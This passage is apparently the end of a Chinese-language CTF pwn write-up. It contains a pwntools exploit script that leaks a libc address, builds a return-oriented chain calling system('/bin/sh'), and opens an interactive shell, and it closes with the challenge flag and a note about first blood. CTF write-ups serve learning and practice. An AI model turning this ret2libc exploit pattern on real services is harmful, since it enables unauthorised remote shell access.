conn.send(chain + p64(bss_800 + 0x28 + 0x20) + p64(0x401176))
leak = u64(conn.recvline().strip().ljust(8, b"\x00"))
libcbase = leak - 0x21a780
print(f"leak: {hex(leak)}")
print(f"libcbase: {hex(libcbase)}")
# 0x00000000001d8698 : /bin/sh
# 1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
# 0x000000000002a3e5 : pop rdi ; ret
binsh = libcbase + 0x1d8698
system = libcbase + 0x50d70
pop_rdi = libcbase + 0x2a3e5
chain = flat([
pop_rdi,
binsh,
system,
0,
])
conn.send(chain + p64(bss_800 + 0x28) + p64(0x4011f4))
conn.interactive()
```
執行完之後就能拿到 shell 了

`TSC{R0p_i5_StiLL_b4by_IN_2024_iF_u_c4n_FiNd_Cust0M1ZEd_gADgETS_fIepTj0DlqTN4tpw}`
這題我也拿到了 first blood 了,開心
